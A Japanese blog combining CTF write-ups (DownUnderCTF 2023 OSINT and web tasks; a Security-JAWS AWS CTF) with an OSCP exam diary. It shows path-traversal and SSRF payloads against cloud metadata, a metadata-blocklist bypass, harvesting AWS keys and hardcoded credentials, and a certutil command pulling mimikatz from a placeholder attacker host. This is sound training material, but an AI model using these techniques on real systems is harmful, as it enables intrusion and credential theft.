DownUnderCTF 2023 Writeup

DownUnderCTF 2023に0nePaddingというチームで参加して124 / 2549位でした。

今回は主にOSINTに取り組み、5 / 6問解けました。

[OSINT:Begginer] Excellent Vista!

OSINTによくある、写真を撮影した場所を答える問題です。

JPG画像が与えられます。

JPGなのでEXIFを確認すると、緯度経度が載っているのでGoogle Mapでその場所の地名を探すだけです。

exiftool ~/Downloads/ExcellentVista.jpg

下記の文字列をGoogle Mapで検索するだけですが、SEを忘れるとそれぞれ北緯、西経となり北太平洋に放置されるので注意です。

29°30'34.33"S,153°21'34.46E

DUCTF{Durrangan_Lookout}

[OSINT:Begginer] Bridget's Back!

同じく写真の撮影場所を答える問題です。

見える橋がゴールデンゲートブリッジということがわかったので周辺を探します。

ストリートビューで周辺を探索すると橋の見え方が同じビュースポットを発見しました。

この場所の名前がフラグになっていました。

DUCTF{H._Dana_Bowers_Rest_Area}

[OSINT:Easy] Comeacroppa

またまた写真の場所を特定する問題です。

画像の右上に4桁の数字(1800 or 1866)っぽいものが見えたのでAustralia 1800Australia 1866で検索してみました。

(このCTFはオーストラリアに関する問題の傾向があったので)

すると検索結果に似た画像が出ており、この建物がScotch Pie Houseという名前であることがわかります。

Australia Scotch Pie Houseで検索するとこの建物が存在する地名がわかります。

DUCTF{maldon}

ちなみにGoogle Lensにアップすることでも地名がわかります。

[OSINT:Medium] faraday

電話番号を基に用意されたAPIを使用して場所を特定する問題です。

オーストラリアのヴィクトリア内に当該電話番号を持った電話が存在するらしいので、

その町名を答える必要があります。

APIにはドキュメントが用意されていたのでドキュメントに沿ってAPIを使用します。

このAPIは緯度経度と検索範囲の半径を与えて、その円の中に該当の電話番号を持った電話が存在するかを返すAPIのようでした。

最初に試行した解法は、ヴィクトリアの町名と緯度経度の対応したリストを使用して総当りをする、でした。

下記のサイトからヴィクトリアの町のみを引っ張ってきてPythonスクリプトを書き、総当りしました。

simplemaps.com

ですが、ヒットする町が一意に絞れず、ヒットする町の全てをフラグとして提出してもIncorrectと言われ誤答をむやみに増やす結果になりました…。

なので方針を変更し、検索半径を徐々に絞っていき対象に到達するスクリプトを書きました。

与えた緯度経度周辺を探索し、ヒットした円の中心を新しい緯度経度に設定して半径を徐々に小さくしていきます。

import requests
import json
import math
import time
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL = "https://osint-faraday-9e36cbd6acad.2023.ductf.dev/verify"

# Victoria
lat = -37.036970870314754
long = 144.0646040878664

post_data = {
  "device": {
    "phoneNumber": "+61491578888"
  },
  "area": {
    "areaType": "Circle",
    "center": {
      "latitude": 0,
      "longitude": 0
    },
    "radius": 200000
  },
  "maxAge": 120
}

rad = 200000

while rad >= 2000:
    new_x_y = [(0,0),(rad/2,0),(0,rad/2),(rad/2,rad/2),(-rad/2,0),(0,-rad/2),(-rad/2,-rad/2)]
    for (x, y) in new_x_y:
        new_lat, new_long = (lat + x/111111, long + y/(111111 * math.cos(lat)))

        post_data["area"]["center"]["latitude"] = new_lat
        post_data["area"]["center"]["longitude"] = new_long
        post_data["area"]["radius"] = rad
        print(f"lat: {new_lat}, long: {new_long}, rad: {rad}")

        res = requests.post(
                URL,
                json.dumps(post_data),
                proxies={"http":"http://localhost:8080","https":"http://localhost:8080"},
                verify=False
        )

        if res.status_code == 200:
            res_data = res.json()
            if res_data["verificationResult"] == "TRUE":
                lat = new_lat
                long = new_long
                rad = int(rad / 1.75)
        time.sleep(10)

この際、緯度経度とメートル単位の計算があり、 1mを緯度経度換算する際に参考になったのが以下のサイトです。

緯度の1度と経度の1度は長さが違う。売上予測の基礎の基礎(2) | 売上予測 30年の実績

このサイトいわく精度を気にしないのであれば緯度経度は以下のように変換できるそうです。

  • 緯度 1° = 111111m
  • 経度 1° = 111111m * cos(緯度)

このスクリプトを実行すると最終的に以下の座標が得られます。

-36.46734230068619, 146.4276475126464

この座標をGoogle Mapで表示するとMilawaという地名だと言うことがわかります。

この地名がフラグになっていました。

DUCTF{milawa}

ちなみにMilawaは最初に使用した町名リストに載っていませんでした。

完全に時間の無駄…

[OSINT:Medium] monke bars

作問者がラップをリリースしたそうなのでその曲を探す問題です。

曲名が「monke bars」ということがわかっています。

しばらく調査をしていて、SoundCloudというサイトに該当する曲が存在することがわかりました。

monke bars results on SoundCloud - Listen to music

この曲のコメント欄を見るとフラグっぽい文言が投稿されていました。

これをフラグのフォーマットに沿って整形したものがフラグでした。

DUCTF{smackithackitdropthatpacketcrackthistrack}

[WEB:Easy] static file server

Python製のWebファイルサーバーだそうです。

アクセスすると、not_the_flagファイルが目に付きますのでアクセスするとflagの場所を教えてくれます。

この問題はソースコードが与えられるので読みます。

aiohttpweb.static()という関数にヒントがありそうです。

from aiohttp import web

async def index(request):
    return web.Response(body='''
        <header><h1>static file server</h1></header>
        Here are some files:
        <ul>
            <li><img src="/files/ductf.png"></img></li>
            <li><a href="/files/not_the_flag.txt">not the flag</a></li>
        </ul>
    ''', content_type='text/html', status=200)

app = web.Application()
app.add_routes([
    web.get('/', index),

    # this is handled by https://github.com/aio-libs/aiohttp/blob/v3.8.5/aiohttp/web_urldispatcher.py#L654-L690
    web.static('/files', './files', follow_symlinks=True)
])
web.run_app(app)

コメントに記載されているURLにアクセスし、内部の処理を見ると、ディレクトリトラバーサルに脆弱っぽいです。

joinpath(foo).resolve()foo/../../../../../../flag.txtのような文字列を与えると/flag.txtが返ってきます。

あとはペイロードを送信するだけでフラグが取得できます。

Security-JAWS DAYS AWS CTF Writeup

所感

Security-JAWS DAYS AWS CTFに参加してきまして、4/97位でした。

問題は数が多く、幅広い難易度、問われる知識も多く、初心者から経験者まで多くの方が楽しめるイベントだったと思います。(作問者さんすげー)

個人的にはTOP3に入れなかったのが悔しいですが、Hard問のFirst bloodを取れたので悔いはありません!

以下、Writeupです。

Warmup

AWS CLI practice

アクセスキーIDとシークレットアクセスキーが渡され、アカウントIDを提出する問題です。

aws configureでもらった資格情報をプロフィールに設定し、aws sts get-caller-identityを使用することでアカウントIDが取得できます。

Run function

アクセスキーIDとシークレットアクセスキーが渡されます。 問題名からlambdaに関する問題だとわかりました。

とりあえずaws configureします。

ユーザー名を取得します。ctf_challenge_6というユーザーでした。

ctf_challenge_6に割り当てられたポリシーを確認するとrunlambdaというポリシーが存在します。

ポリシーの詳細を確認すると、run_meというリソースに対してlambda:InvokeFunctionが許可されています。

関数を実行し、出力を確認すると「ログを見ろ」と言われています。

もう一度関数を実行し、今度は--log-type Tailを指定し、ログを表示します。

表示されたBase64文字列をデコードするとフラグが取得できます。

Find data 1

問題文からS3の問題ということがわかります。

また、今回はAWSコンソールを使用する問題のようです。

サインインURLにアクセスし、もらった資格情報でログインします。

S3のバケットを探索するとhimituno-bucket1の中にFLAGというオブジェクトがあることに気づきました。

ダウンロードするとフラグが記載されています。

Find data 2

Find data 1と同じS3問題のようです。

アクセスキーIDとシークレットアクセスキーが渡されますのでとりあえずaws configureします。

アクセスできるバケットを列挙しているとhimituno-bucket2SECRETというディレクトリが存在していることがわかりました。

SECRET/以下を表示すると、1000個近くのディレクトリが存在していました。

aws s3 syncでローカルに全てのファイルをコピーします。

適当なディレクトリを除くとハズレが表示されたのであたりのディレクトリを探す必要があるようです。

ファイルサイズでソートすると444ディレクトリだけサイズが異なります。 (公式Writeupを見るとaws s3 lsだけでサイズが違うファイルを見つけることができるようでした…)

aws s3 ls "s3://himituno-bucket2/SECRET/" --recursive --human --sum --profile jaws2 | awk -F ' +' '{printf "%s%s %s\n",$3,$4,$5}' | sort -n -r | head -n10

※ 正解のディレクトリが444なのは、ぱちんこ海物語シリーズでサメ図柄が揃うと444だから、だそうです。 ラウンド数が少なかったり時短だったりしょっぱい図柄ですね。

正解のディレクトリの中にフラグが書かれた画像がありました。

Show IAM policy

ポリシーについての問題です。実はWarmup問題でこれだけ解けませんでした。

ただ学ぶことがあったので書きます。

アクセスキーIDとシークレットアクセスキーが渡されますのでとりあえずaws configureします。

ユーザー名を取得します。

ここから、aws iam list-user-policiesaws iam list-attached-user-policiesなどを利用してポリシーを確認しようとしましたが、ポリシーが存在せず、お手上げとなりました。

公式のWriteupを確認するとポリシーはIAMユーザーには直接アタッチされておらずグループにアタッチされているとあり、ほぇ〜となりました。

まず、aws iam list-groups-for-userでユーザーが所属するグループを確認します。

selfcheckというポリシーがあたっていることが確認できます。

ポリシーの詳細を確認するとSidBase64っぽい文字列が入っているのでデコードするとフラグが得られます。

Where is the password?

AWSコンソールを利用する問題です。

問題文からSecretManagerの問題っぽいことがわかりました。

与えられた資格情報でAWSコンソールにログインします。

Secret Managerにアクセスすると、一つだけシークレットが存在していました。

シークレットの値を取得するとそれがフラグになっています。

Easy

Recon the website

Webサイトを列挙してフラグを取得する問題です。

Webサイトにアクセスしてみますが特に機能と言った機能は無いようです。

静的サイトのようでしたので、静的サイト→S3?となり、WebサイトのURLをS3バケット名としてアクセスしてみると、ディレクトリが表示され、FLAGファイルが見えました。

アクセスするとFLAGファイルがダウンロードでき、中にフラグが記載されていました。

Find data 3

S3問題の3問目です。

アクセスキーIDとシークレットアクセスキーが渡されますのでとりあえずaws configureします。

himituno-bucket3というバケットreadme.txtが存在していることがわかりました。

readme.txtをダウンロードして内容を確認すると、「S3に重要情報を置いてたけど削除しました。」という旨のメッセージでした。

ここで解法として浮かんだのがS3のバージョニングでした。

aws s3api list-object-versionsを使用してオブジェクトのバージョンを表示するとSECRET_DATAという削除マーカーが付与されたオブジェクトが存在することに気づきました。

あとはaws s3api get-objectでバージョンIDを指定してオブジェクトをダウンロードするだけです。

u nix Path?

問題文から署名付きURLに関する問題だと推測しました。

サイトを確認すると、3つのファイルをダウンロードする機能がありました。

Downloadボタンをクリックした時に発生するリクエストは以下の2つでした。

GET /v1/api/file/README.md

GET /public/README.md

1つ目のリクエストで署名付きURLを生成し、2つめのリクエストで署名付きURLにアクセスする、といった流れのようでした。

署名付きURLに関する脆弱性でパッと浮かんだのはパスの生成が不適切で誤ったパスへの署名付きURLを生成することです。

試しに以下のようなパスへリクエストを送信してみると、署名付きURLはroot以下のtestを参照するように出力されました。

/v1/api/file/README.md%2f%2e%2e%2f%2e%2e%2ftest

なので、/v1/api/file/README.md%2f%2e%2e%2f%2e%2e%2fprivate%2fflagに対してアクセスすると/private/flagへの署名付きURLが得られます。

あとはこのURLにアクセスするとフラグが取得できます。

後で気づいたんですが、ダウンロードできるファイルに色々ヒントなどがあったみたいです。

完全に推測で動き出してしまったのが良くなかったですね。

Get Provision

インスタンスのプロビジョニングデータを取得する問題です。

Webサイトにアクセスすると、URLを入力して結果を表示するサイトでした。

これはSSRFからのIMDSアクセスだろうと気づきます。

169.254.169.254にアクセスすると結果が表示されますのでリクエストに成功したことがわかります。

色々探索した結果、/latest/user-dataにフラグがありました。

Medium

Get Access Key

解けたんですが、時間切れでフラグが提出できませんでした。

アクセスキーを取得する問題です。

サイトにアクセスするとGet Provisionとほぼ同じ構成のサイトであることがわかります。

Get Provisionと同じ要領でSSRFしようとするとフロント側でフィルターが存在するようでした。

pattern属性を外してhttp://169.254.169.254/latestにアクセスするとサーバー側でもフィルターが存在するようでした。 ご丁寧にブラックリストが表示されるのでこれをバイパスできるホスト名、IPを探します。

ちょうど、CTFチームのDiscordでns-gcp-private.googledomains.comを正引きすると169.254.169.254になるという知識があったのでこれを使用しました。

フィルターをバイパスできたのでアクセスキーを取りに行きます。

取得したクレデンシャルを設定します。IAM Roleを設定するのでTOKENも含めます。

(今思うと環境変数より~/.aws/credentialsに設定するほうが楽ですね…)

ここからの解法がわからず長いこと悩んでいたのですが、サイトにDynamoDBとあったことを思い出し、DynamoDBのテーブルをリストすると一つのテーブルが存在することがわかりました。

(このへんで時間切れになったと思います…)

テーブルをスキャンするとフラグが表示されました。

Hard

AWS Pentesting Journey

First bloodを取れた問題です。

複合的な知識を使う必要がありました。

大まかな手順を先に示しますが以下のような流れで攻略していきました。

  1. Nginxの設定不備によるパストラバーサルを利用して.htpasswdの内容を取得する
  2. .htpasswdに記載されたハッシュをクラックする
  3. クラックした資格情報でBasic認証をパスし、管理画面にアクセスする
  4. 管理画面のProxy機能を利用したSSRFでアクセスキーを取得する
  5. アクセスキーを利用して、lamdaにアクセスする
  6. lambdaのバージョニングされた古いFunctionからハードコードされた認証情報を見つける
  7. 取得した認証情報でphpMyAdminにアクセスし、フラグを取得するSQLを実行する

順番に見ていきます。

まず、問題として、以下のようなnginx.confが与えられます。

server {
        listen 80 default_server;
        listen [::]:80 default_server;

        root /var/www/html;

        index index.html index.htm index.nginx-debian.html index.php;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php8.1-fpm.sock;
 
        }

        location /assets {
                alias /usr/share/static/;
        }

        location /admin/ {
                auth_basic "Restricted";
                auth_basic_user_file /usr/share/secret/.htpasswd;

                location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ {
                        proxy_pass http://$proxy_host/$proxy_path;
                        proxy_set_header Host $proxy_host;
                }
        }
}

この設定ファイルを見るとlocation /assetsの部分が/で終端していないため、/assets../secret/.htpasswdとすることで.htpasswdにアクセスできることがすぐにわかります。

github.com

またnginx.confから、Basic認証のかかった管理画面にProxy機能っぽいものがあるため、SSRFでアクセスキーを取るんだろうなという推測ができます。

なので、まず.htpasswdを取得します。

パスワードの方はハッシュ化されているようだったのでJohnでクラックしていきます。

Basic認証の資格情報が手に入ったので管理者画面にアクセスします。

IMDSにアクセスできました。

アクセスキーを取得します。

/admin/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1

~/.aws/credentialsにクレデンシャルを設定します。

しばらく列挙をしていたところ、S3のbackup-37szjp8pny7xx01というバケットにアクセスでき、データベースのバックアップのようなものが見えました。

とりあえず全てのファイルをローカルに持ってきました。

そのうちのCSVファイルはdboperatorユーザーのアクセスキーが記載されていました。

とりあえずaws configureします。

ポリシーを確認するためaws iam list-attached-user-policiesを使用するとdboperatorというポリシーの存在が確認できました。

aws iam get-policy-versionでポリシーの内容を確認するために必要なVersionIdをaws iam get-pocicyで取得します。

取得したVersionIdを指定してaws iam get-policy-versionを実行します。

するとdb-buckup(タイポ?)というFunctionの実行権限があることが確認できます。

この関数は名の通りDBのバックアップを行う関数のようですが、バックアップをしたデータ自体には重要な情報は含まれていませんでした。

ここでだいぶ時間を溶かしましたが、lambdaのFunctionに複数のバージョンが存在することに気づきました。

rikoteki@kali:~/test3
➤ aws lambda list-versions-by-function --function-name db-buckup --profile dboperator                                14:06
{
    "Versions": [
        {
            "FunctionName": "db-buckup",
            "FunctionArn": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup:$LATEST",
            "Runtime": "nodejs16.x",
            "Role": "arn:aws:iam::055450064556:role/service-role/db-buckup-role-pfcx4tak",
            "Handler": "index.handler",
            "CodeSize": 1738324,
            "Description": "",
            "Timeout": 10,
            "MemorySize": 128,
            "LastModified": "2023-08-13T17:46:30.000+0000",
            "CodeSha256": "tvg1Tv8vAuc7PBV1Slf+LnVPxoZ1RRzCpB1H3fKAVOU=",
            "Version": "$LATEST",
            "VpcConfig": {
                "SubnetIds": [
                    "subnet-0c623137b8878ec48"
                ],
                "SecurityGroupIds": [
                    "sg-052bdaf7b4fc1e9fe"
                ],
                "VpcId": "vpc-0130f67a6fac3ed45"
            },
            "Environment": {
                "Error": {
                    "ErrorCode": "AccessDeniedException",
                    "Message": "Lambda was unable to decrypt your environment variables because the KMS access was denied. Please check your KMS permissions. KMS Exception: AccessDeniedException KMS Message: User: arn:aws:iam::055450064556:user/dboperator is not authorized to perform: kms:Decrypt on resource: arn:aws:kms:ap-northeast-1:055450064556:key/d6ecc772-b4b6-4cac-88fd-47a745c279f6 because no identity-based policy allows the kms:Decrypt action"
                }
            },
            "KMSKeyArn": "arn:aws:kms:ap-northeast-1:055450064556:key/d6ecc772-b4b6-4cac-88fd-47a745c279f6",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "cff7a050-f06b-4462-9aea-ebd63d3099c8",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            }
        },
        {
            "FunctionName": "db-buckup",
            "FunctionArn": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup:1",
            "Runtime": "nodejs16.x",
            "Role": "arn:aws:iam::055450064556:role/service-role/db-buckup-role-pfcx4tak",
            "Handler": "index.handler",
            "CodeSize": 1738107,
            "Description": "first release",
            "Timeout": 10,
            "MemorySize": 128,
            "LastModified": "2023-08-13T17:07:55.000+0000",
            "CodeSha256": "aZkXCiorEVslW/pmOsb+K7/Si4yjZvfSWiUbWN+LokE=",
            "Version": "1",
            "VpcConfig": {
                "SubnetIds": [
                    "subnet-0c623137b8878ec48"
                ],
                "SecurityGroupIds": [
                    "sg-052bdaf7b4fc1e9fe"
                ],
                "VpcId": "vpc-0130f67a6fac3ed45"
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "5b0a3c1a-e0b3-4ce6-9df3-cca5a5987283",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            }
        },
        {
            "FunctionName": "db-buckup",
            "FunctionArn": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup:2",
            "Runtime": "nodejs16.x",
            "Role": "arn:aws:iam::055450064556:role/service-role/db-buckup-role-pfcx4tak",
            "Handler": "index.handler",
            "CodeSize": 1738324,
            "Description": "Implement password encryption",
            "Timeout": 10,
            "MemorySize": 128,
            "LastModified": "2023-08-13T17:46:30.000+0000",
            "CodeSha256": "tvg1Tv8vAuc7PBV1Slf+LnVPxoZ1RRzCpB1H3fKAVOU=",
            "Version": "2",
            "VpcConfig": {
                "SubnetIds": [
                    "subnet-0c623137b8878ec48"
                ],
                "SecurityGroupIds": [
                    "sg-052bdaf7b4fc1e9fe"
                ],
                "VpcId": "vpc-0130f67a6fac3ed45"
            },
            "Environment": {
                "Error": {
                    "ErrorCode": "AccessDeniedException",
                    "Message": "Lambda was unable to decrypt your environment variables because the KMS access was denied. Please check your KMS permissions. KMS Exception: AccessDeniedException KMS Message: User: arn:aws:iam::055450064556:user/dboperator is not authorized to perform: kms:Decrypt on resource: arn:aws:kms:ap-northeast-1:055450064556:key/d6ecc772-b4b6-4cac-88fd-47a745c279f6 because no identity-based policy allows the kms:Decrypt action"
                }
            },
            "KMSKeyArn": "arn:aws:kms:ap-northeast-1:055450064556:key/d6ecc772-b4b6-4cac-88fd-47a745c279f6",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "e0fd892d-78a9-4bdc-919f-399943bd1b3d",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            }
        }
    ]
}

Descriptionを見るとVersion2ではImplement password encryptionと記載されており、Version1との差異が気になるところです。

のでaws lambda get-functionの--function-nameにVersionIdまでを記載して実行します。

rikoteki@kali:~/test3
➤ aws lambda get-function --function-name "db-buckup:1" --profile dboperator                                         14:09
{
    "Configuration": {
        "FunctionName": "db-buckup",
        "FunctionArn": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup:1",
        "Runtime": "nodejs16.x",
        "Role": "arn:aws:iam::055450064556:role/service-role/db-buckup-role-pfcx4tak",
        "Handler": "index.handler",
        "CodeSize": 1738107,
        "Description": "first release",
        "Timeout": 10,
        "MemorySize": 128,
        "LastModified": "2023-08-13T17:07:55.000+0000",
        "CodeSha256": "aZkXCiorEVslW/pmOsb+K7/Si4yjZvfSWiUbWN+LokE=",
        "Version": "1",
        "VpcConfig": {
            "SubnetIds": [
                "subnet-0c623137b8878ec48"
            ],
            "SecurityGroupIds": [
                "sg-052bdaf7b4fc1e9fe"
            ],
            "VpcId": "vpc-0130f67a6fac3ed45"
        },
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "5b0a3c1a-e0b3-4ce6-9df3-cca5a5987283",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:ap-northeast-1::runtime:96f95344fddd7e2267f42f2bcf8be9879aa43babe436b7d63ffe2ff1effeb0de"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://awslambda-ap-ne-1-tasks.s3.ap-northeast-1.amazonaws.com/snapshots/055450064556/db-buckup-c327446a-406b-481b-8234-70635c542033?versionId=qXI2pBnyn6z1yaP54atZwsshNVS4fx7O&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkgwRgIhANw8jW1D2vJRsAzjA%2BPlpdTYIQdApCxuZmf9mJYTRhEgAiEAnhMUeSZ6Rj07cgFvg6%2FONn6LEeOuqTzpmnz4g%2BJiQpEqygUIhf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAEGgw5MTk5ODA5MjUxMzkiDGsuHoDDYSfI%2BpOQ8CqeBWmUGI2doQw3MciQ9rt2UNW1qZU1WohujZRFGiUiv%2BMRkjpi%2FDZQjODJMtO%2FS4eAoaXDn47FAY8THzaBbkumCF0JkfuLdN%2FfaCjQcXlNyIKr3Cr66wKSMlFkNh2uMf4%2BUcdkhZdH%2BYSEr79bAY%2BIUCHGHq3V4oa6BCOMXj%2BEGa5nfWAcpAtEucmrEsYcjYC0p6EkVdKO%2By4vESdq9ckV3EyrZkGzvGooPZIUGkwgOIWL5BKMJhQuY2Ta%2BBonQpEnvBabWskX8HcmazMs9YP1H3aEbX4k0bB2RZ6Lrg%2Ffvs7h8T6G8M9Je93R29UicOQvmD9gHL7uAv05fPqcRznU%2F4MuipdFcM9q6oz0L%2FzjLPlv1zWFjgWupF%2BJywF90S0XGYp8NvnzatbUINpwSl%2FbEjSKRFJhXkF2LcRfd5IYpvjG2liYoGV8KTVWNVhBy6NjanWzJzQRRsjnhoEkdFy3WqiXtGQH9t1S6l5CC8Vv8qK2QjU8Tp124cblyzBfO1Iu05ra9AbEbdGcPdQ1nKSmiKkyVFJO13tbNfluUm8l0fSqlMoMYKNS21P0zxrjsYWQlePMjAWzKo2Nu7Ygc%2BOH%2FYXF3%2F4U3e1imecDNWWHoMP3EWDnUTAwCBHb%2BoaX7VXdbEnNCdJc%2F%2BWt%2F4e8H%2Ba6W%2FkgNq5ui%2BcJuRZTYauVnKdgcZikrRVsfTluLykGnYs5Desmy3uc68BfDBHlnUG1h43bL828qIOg%2FHIVcxlUxlnomqmI0P0oQZ4m7lEHpKC7wOoZUjwRol3F8N5vQIPK7fRsspGO6Xh%2BhHbo7Jlv9igyIyeS2ylr6rEpnr947zO%2FNmOP2wfUXOT99LSQYboWV6Fyzg5nfMv3WCbZbk1lYAuHyWp7NapHtyYSS6FgI%2BMw56ywpwY6sAF06qpQ%2BAaACyfyqu0kOsDG3nofBpJZZY%2BEzuRfTGewyK5SlsWD5fFOwrvFLH7CCFR3WWazlKWPy10I6XKBioJvexX4NvQh1jIUQ8LGzgFjywspU06WtJTKu9UGmrgv3zEvMQOavujw0ohGN8JZ8p1g%2BaRCtP6YHjgH2GSNi2zox0VS09qAReYv1fGJNgskM%2BTgxfOLh6ix1p8Q9Ls5ZVG11Ywc1mfYZlMTMNyV82nfCw%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230828T050936Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA5MMZC4DJUGSDJVOW%2F20230828%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Signature=9702f45254332a696db7246c98fc8eac6daea06cd6b8bf221da3ddf402ad318d"
    }
}

出力の下部にソースコードが保存されているURLが出力されますのでアクセスして取得してみると、DBへの認証情報がハードコードされていることがわかります。

この認証情報を使用してWebサイトにあるphpMyAdminへアクセスすることが可能でした。

あとはDBを調査してフラグを出力するSQLを実行すればフラグが取得できます。

OSCP 2023 受験記

OSCPを取ってきたので例によって受験記を残します。

OSCPについて

この記事を読んでいる時点でOSCPについて知らない人はいねぇよなぁ!!?と思いますが念のため。

OSCP(Offensive Security Certified Professional)とは、OffSec社が提供するペネトレーションテストの知識を証明するための資格です。

日本の視点から見ると、高難易度の資格に分類されるような気がしますが、英語圏ではペネトレーションテストの入門的な資格という位置づけのようです。

試験は実際に用意されたホストに対して攻撃を行い、どこまで侵害できるかが得点の鍵になります。

そのため、焦点は初期侵害~権限昇格、横展開までかと思います。

また、試験終了後にどうやって侵害を行ったかをレポートにまとめて提出する必要があります。

このレポートが要件を満たしていないと減点されます。

なので、HackTheBoxのようにroot取れたからOKではなく、顧客を見据えたレポートの書き方も身につけなければいけません。

2022からの変更点

この資格は現実のセキュリティ事情に追従するようで、BoFを利用する問題がスコープ外となり、新たにActive Directoryドメイン管理者を奪取する問題が追加されました。

また、以前は多数のLabレポートを提出することでボーナスポイント(10 point)が付与されるようでしたが、2023では、純粋にLabやExerciseの進捗率が一定の水準に達していたらポイントが付与される方式に変更されたようです。

受験前の筆者のレベル

  • 年齢 → 27才
  • 学歴 → 高卒
  • セキュリティ業界歴 → 1年半
  • 現職 → 脆弱性診断(PF、Web)
  • HackTheBox → ProHacker

書いておいてなんですが、正直OSCPに関しては受験前のレベルはどうでもいいと思います。

よく、『OSCP受ける前にHackTheBox頑張る』みたいなのを聞きますが(私もそうでした。)、それならさっさとサブスク購入してLabなりExerciseなりをやるのがOSCPに受かるには一番効果的だと思います。

サブスク購入~試験まで

2023/04/26 サブスク購入

LearnOne(1年プラン)を購入しました。日本円でだいたい35万円くらいでした。

2023/05/20 Exercise終了、Lab開始

Walkthrough形式のExerciseを一通り終えました。 Exerciseはだいたい一か月を見積もっておけば終わるんじゃないでしょうか。

LabはOSCPの実試験で使われたRetired Networkと実際の企業環境を模したネットワークからなります。

このうち、企業環境を模したネットワークの侵害は多分OSCPより高度な範囲っぽいのであらかじめ時間配分を考えておいた方がいいです。

私はこのネットワークの内一つのネットワークを完全に侵害するのに3週間を要しました。

2023/07/4 Lab終了

Labの全てのマシンを侵害し終えました。

試験のスケジュールをミスって一か月くらい空いてしまったので暇になりました。

知識が新鮮な状態で受けたいのであればLab攻略から1週間後くらいにスケジュールすると良いかもしれません。

試験

2023/08/09 AM 10:00(JST)に試験を予約しました。

試験前日は部屋の掃除と16時間の睡眠をとりました。

試験当日のスケジュールはこんな感じでした。

時間 内容
9:30 プロクタリングツールにログイン
9:45 試験監督によるチェック開始
11:00 試験用VPNに接続
11:30 Independent target 1台目 local.txt
12:00 Independent target 1台目 proof.txt
13:00 Active Directory Set 1台目 local.txt
15:00 権限昇格が上手くいかずIndependent target 2台目に変更
15:30 Independent target 2台目 local.txt
16:00 Independent target 2台目 proof.txt
16:30 Independent target 3台目 local.txt
20:00 Independent target 3台目 proof.txt
22:00 Active Directory Set 1台目 proof.txt (Metasploit使用)
22:30 Active Directory Set 2台目 proof.txt
23:00 Active Directory Set 3台目(DC) proof.txt
24:00 就寝
7:00 起床
7:00~9:45 Metasploitを使用したところを手動Exploitで証跡取得
12:00 レポート提出

格通

8/12(土) 11:45にメールで合格通知が来ました。 レポート提出から約二日で採点されたようです。

合格に必要だと感じたもの

ツール

特によく使ったコマンドやツールを記載します。

evil-winrm

5985などのwinrmポートが空いている&Remote Management Usersに属するユーザーのクレデンシャルを持っている場合、シェルをスポーンさせることができます。

また、下記のような便利なコマンドも用意されています。

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download

impacket-smbserver

初期侵害後のファイル転送でお世話になりました。

また、NTLMハッシュを飛ばして攻撃者端末でキャッチ→ハッシュクラックみたいな攻撃にも使えます。

impacket-psexec

WindowsにおいてAdministratorグループに所属しているユーザーのパスワードかハッシュがあればシェルをスポーンさせることができます。 応答が遅かったりして使い勝手は悪かったです。

impacket-secretsdump

SAMとSYSTEMのバックアップが保存されている場合などにローカルでハッシュをダンプすることができます。 Domain Adminsのクレデンシャルがあればリモートからダンプできます。

impacket-GetNPUsers

AS-REP Roastに使用します。 後述のRubeusでも同様のことができます。

impacket-GetUserSPNs

Kerberoastに使用します。 後述のRubeusでも同様のことができます。

chisel

プロキシツールです。こいつの使用方法は必須かと思います。

Active Directory setの内部ネットワークへの攻撃や、Independent targetのlocalhostでLISTENしているポートへの攻撃などに使用します。

CrackMapExec

主にSMBやwinrmへのパスワードスプレーなどに使用しました。

用途が幅広くimpacket-secretsdumpと同様のことができたり、だいたいのことがこいつで済みます。

certutil.exe

Windowsへのファイル転送でお世話になりました。

下記のようなコマンドでファイルが転送できます。

certutil -f -split -urlcache http://attacker/mimikatz.exe C:\Users\Public\mimikatz.exe

Rubeus.exe

OSEPでよりお世話になりそうですが、OSCPでよく使用したのはkerberoastasreproastサブコマンドです。

exeなのでVictimに転送して使用します。

mimikatz.exe

言わずもがなです。

sekurlsa::logonpasswordsコマンドをよく使用しました。

チートシート

個人的には無理に作成する必要はないと思います。

コマンドだけ羅列したようなチートシートがありますが、知識が無い状態でコマンドだけコピペで実行するのは私は好きではありませんでした。

